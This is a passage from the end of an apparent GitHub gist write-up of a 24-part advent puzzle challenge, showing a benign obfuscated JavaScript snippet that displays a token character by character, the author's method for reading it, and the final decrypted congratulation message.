_0x27bd63=0x0,_0x1aef23,_0x410a1c,_0x44a2f7=0x0,_0x4becc0='';_0x410a1c=_0x3945b3['charAt'](_0x44a2f7++);~_0x410a1c&&(_0x1aef23=_0x27bd63%0x4?_0x1aef23*0x40+_0x410a1c:_0x410a1c,_0x27bd63++%0x4)?_0x4becc0+=String['fromCharCode'](0xff&_0x1aef23>>(-0x2*_0x27bd63&0x6)):0x0){_0x410a1c=_0x26d97c['indexOf'](_0x410a1c);}return _0x4becc0;});}());var _0x2989ab=function(_0x556e84,_0x413164){var _0x230e63=[],_0x2cb43d=0x0,_0x3e1a49,_0x36c992='',_0x4157e0='';_0x556e84=atob(_0x556e84);for(var _0x343d88=0x0,_0x2ff09d=_0x556e84['length'];_0x343d88<_0x2ff09d;_0x343d88++){_0x4157e0+='%'+('00'+_0x556e84['charCodeAt'](_0x343d88)['toString'](0x10))['slice'](-0x2);}_0x556e84=decodeURIComponent(_0x4157e0);for(var _0x15a545=0x0;_0x15a545<0x100;_0x15a545++){_0x230e63[_0x15a545]=_0x15a545;}for(_0x15a545=0x0;_0x15a545<0x100;_0x15a545++){_0x2cb43d=(_0x2cb43d+_0x230e63[_0x15a545]+_0x413164['charCodeAt'](_0x15a545%_0x413164['length']))%0x100;_0x3e1a49=_0x230e63[_0x15a545];_0x230e63[_0x15a545]=_0x230e63[_0x2cb43d];_0x230e63[_0x2cb43d]=_0x3e1a49;}_0x15a545=0x0;_0x2cb43d=0x0;for(var _0x515612=0x0;_0x515612<_0x556e84['length'];_0x515612++){_0x15a545=(_0x15a545+0x1)%0x100;_0x2cb43d=(_0x2cb43d+_0x230e63[_0x15a545])%0x100;_0x3e1a49=_0x230e63[_0x15a545];_0x230e63[_0x15a545]=_0x230e63[_0x2cb43d];_0x230e63[_0x2cb43d]=_0x3e1a49;_0x36c992+=String['fromCharCode'](_0x556e84['charCodeAt'](_0x515612)^_0x230e63[(_0x230e63[_0x15a545]+_0x230e63[_0x2cb43d])%0x100]);}return _0x36c992;};_0xd9e3['Orcmpo']=_0x2989ab;_0xd9e3['RZojmG']={};_0xd9e3['mYtpaH']=!![];}var _0x2d5e4f=_0xd9e3['RZojmG'][_0x13941f];if(_0x2d5e4f===undefined){if(_0xd9e3['RUGqdK']===undefined){_0xd9e3['RUGqdK']=!![];}_0x1788b8=_0xd9e3['Orcmpo'](_0x1788b8,_0x413164);_0xd9e3['RZojmG'][_0x13941f]=_0x1788b8;}else{_0x1788b8=_0x2d5e4f;}return _0x1788b8;};var secret=_0xd9e3('0x0','w8eF');function sleep(_0x379d9c){return new Promise(_0x1ad43d=>setTimeout(_0x1ad43d,_0x379d9c));}async function xmas(){for(var _0x194e2e=0x0;_0x194e2e<secret[_0xd9e3('0x1','3lMo')];_0x194e2e++){container=document[_0xd9e3('0x2','oZjg')](_0xd9e3('0x3','KXs3'));container[_0xd9e3('0x4','RuYa')]=secret[_0xd9e3('0x5','3lMo')](_0x194e2e);await sleep(0x3e8);}}window['onload']=function(){window['setInterval'](function(){xmas();},0x3e8);};

I attempted a couple off-the-shelf javascript deobfuscators but then -- thinking about their message -- decided not to get to involved on this one. I edited the HTML to make the page more readable (e.g. no blinking or background). Then I edited the javascript sleep/delay values 0x3e8 to 3000 and then just read the base64 token out one character at a time.

x6z3tRsjDS7J2H31aDE3dpSnBJNHSmt9Ppx7pivsC9gKZIIQZg9w2XHoUU4hyrkJJJJJJJJJJ

The last character repeats for quite a while; I just truncated the token to the correct lenght to match all the previous ones.

Final Voucher Challenge

Putting together all the tokens obtained from the port challenges above and decrypting as instructed on the page yielded:

Congratulations, you managed to solve all 24 ports!
The magic winner's secret: Xm4SS_IS_s0_m8CCH_fUNN_!!
Send this to advent@adversec.com and you will receive the voucher if you are the first one!

I don't know if I was the first one; but this sure was fun! Thank you so much to @_takeshix and @lod108 and Merry Xmas!

Footnotes

  1. in actual fact we also had OpenSSL KDF version compatibility issues, but this is only tangentially related.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment